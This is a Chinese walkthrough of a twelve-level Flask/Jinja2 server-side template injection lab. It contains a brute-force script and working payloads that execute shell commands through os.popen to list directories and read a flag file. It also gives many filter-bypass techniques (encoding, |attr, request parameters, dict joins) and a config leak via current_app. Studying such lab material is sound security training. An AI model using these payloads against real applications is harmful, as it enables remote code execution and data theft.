SSTI靶场题解

level-1(no waf)

遍历目标中含有内建函数 eval 的子类的索引号:

1
2
3
4
5
6
7
8
9
10
11
12
import requests
if __name__ == "__main__":
post_url = "http://124.70.99.199:10086/level/1"
for i in range(200):
param = {
'code': "{{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"
}
res = requests.post(post_url, data=param)
if 'eval' in res.text:
print(i,"!!!!!!!!!!!!!!!!!!!!!!!!!!")
else:
print(i,res.text,res.status_code,"no")

所以随便挑一个构造payload为:{{''.__class__.__bases__[0].__subclasses__()[158].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

获取到flag的位置,读取flag:{{''.__class__.__bases__[0].__subclasses__()[158].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag.txt").read()')}}

level-2(过滤了大括号)

可以用 {%print(......)%} 的形式来代替大括号 ,如下:

1
{%print(''.__class__.__bases__[0].__subclasses__()[158].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()'))%}

获取到flag的位置,读取flag

level-3(no waf and blind)

没有任何回显,最开始是想要利用curl命令来把文件外带出来的curl -d cat /flag.txt -o output.txt,,flag.txt会被写到app.py同目录下,读取不出来,所以这个尝试失败了

后面学长说不必如此,目录下面只有static目录下面的文件可以被直接读取,所以可以把要的文件写到static目录下,就可以直接通过url来进行访问了

所以payload如下

1
{{''.__class__.__bases__[0].__subclasses__()[158].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag.txt > static/output.txt").read()')}}

然后直接访问/static/output.txt,便可以得到flag.txt的内容

level-4(过滤了[])

可以使用 __getitem__() 方法来绕过中括号:

1
{{''.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(158).__init__.__globals__.__getitem__('__builtins__').__getitem__('eval')('__import__("os").popen("ls /").read()')}}

获取到flag的位置,读取flag

level-5(过滤了单双引号)

可以使用requests对象进行绕过,如下所示:
image-20240312205824471

level-6(过滤了下划线)

使用requests对象进行绕过,

1
code={{''[request.values.class][request.values.base][request.values.subclasses]()[284][request.values.init][request.values.globals]['linecache']['os'].popen('ls /').read()}}&class=__class__&base=__base__&subclasses=__subclasses__&init=__init__&globals=__globals__

以上使用数字或者字符串都可以溯源到object类,但是(),[]等的不行,因为两个的父类分别是tuple和list,所以一旦按照上面的进行操作

便是在初始化元组或者列表

1
2
{{().__class__[request.values.base]}}&base=__base__回显Hello tuple['__base__']
{{[].__class__[request.values.base]}}&base=__base__回显Hello list['__base__']

还有一种编码绕过

1
__class__ => \x5f\x5fclass\x5f\x5f

其中_的十六进制编码为\x5f,于是我们可以构造出如下的payload:

1
{{().__class__.__bases__[0].__subclasses__()[154].__init__.__globals__['popen']("ls /").read()}}
1
{{()|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fbase\x5f\x5f")|attr("\x5f\x5fsubclasses\x5f\x5f")()|attr("\x5f\x5fgetitem\x5f\x5f")(154)|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")('popen')("ls /")|attr("read")()}}

level-7(过滤点)

使用|attr来进行绕过,payload如下:

1
code={{''|attr("__class__")|attr("__bases__")|attr("__getitem__")(0)|attr("__subclasses__")()|attr("__getitem__")(154)|attr("__init__")|attr("__globals__")|attr("__getitem__")("popen")("ls /")|attr("read")()}}

也可以用[]来绕过,如下:

1
code={{''['__class__']['__base__']['__subclasses__']()[154]['__init__']['__globals__']['popen']('ls /')['read']()}}

level-8

过滤了["class", "arg", "form", "value", "data", "request", "init", "global", "open", "mro", "base", "attr"]

当用[]进行绕过的时候,里面的所有内容都可以被编码,payload如下:

1
code={{''['\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f']['\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f']['\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f']()[154]['\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f']['\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f']['\u0070\u006f\u0070\u0065\u006e']('ls /')['read']()}}

当然,也可以使用字符串拼接来进行绕过,这里就不一一列举了

level-9(过滤数字0到9)

首先我们可以使用过滤器|length来构造数字进行绕过:{% set a='aaaaaaaaaaa'|length*'aa'|length*'aaaaaaa'|length %}{{a}}

所以payload如下:

1
code={% set a='aaaaaaaaaaa'|length*'aa'|length*'aaaaaaa'|length %}{{a}}{{''.__class__.__base__.__subclasses__()[a].__init__.__globals__['popen']("ls /").read()}}

level-10set config = None

这一关的目的是拿到config,当我们使用{{config}}以及{{self}}时都返回了None.看来是被ban了,所以得重新寻找一个储存相关信息的变量,发现存在这么一个变量current_app是我们需要的.官网current_app提供了这么一句说明

应用上下文会在必要时被创建和销毁。它不会在线程间移动,并且也不会在不同的请求之间共享。正因为如此,它是一个存储数据库连接信息或是别的东西的最佳位置。

因此,此处能使用current_app绕过.

构造payload,拿到config

1
2
{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}

两句要分别带进去,不能同时带进去

level-11

过滤了['\'', '"', '+', 'request', '.', '[', ']'],所以我们有以下的操作:

1
{{().__class__.__bases__[0].__subclasses__()[154].__init__.__globals__['popen']("ls /").read()}}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{% set a = dict(__cla=aa,ss__=bb)|join %}
{% set b = dict(__ba=aa,se__=bb)|join %}
{% set sub = dict(__subcl=aa,asses__=bb)|join %}
{% set d = dict(__get=aa,item__=bb)|join %}
{% set e = dict(__in=aa,it__=bb)|join %}
{% set f = dict(__glo=aa,bals__=bb)|join %}
{%set g=dict(pop=a,en=b)|join %}
{% set c = dict(c=aa)|reverse|first %}
{% set bfh = self|string|urlencode|first %}
{% set bfhc=bfh~c %}
{% set space = bfhc%((3~2)|int) %}
{% set slas = bfhc%((4~7)|int) %}
{%set ls = dict(ls=abc)|join %}
{%set i= ls~space~slas %}
{%set read = dict(read=aa)|join %}
{{1|attr(a)|attr(b)|attr(sub)()|attr(d)(154)|attr(e)|attr(f)|attr(d)(g)(i)|attr(read)()}}

level-12

过滤了['_', '.', '0-9', '\\', '\'', '"', '[', ']']

没有过滤requests,所以我们可以结合上题并通过requests对象来进行绕过

借鉴

[你还不会FlaskSSTI?]:https://xz.aliyun.com/t/10394?time__1311=mq%2BxBDyDu7KDq40vdbievqWqGKG%3DKe1K4D&alichlgref=https%3A%2F%2Fwww.baidu.com%2Flink%3Furl%3D1XE44Oe9LhAQthl0yGVsdHutPlRqph5qbyfEmDv259FgerbZ_mEeo5_XwD2uDZj6%26wd%3D%26eqid%3Da3e04c52003086bb0000000365ed5d11#toc-21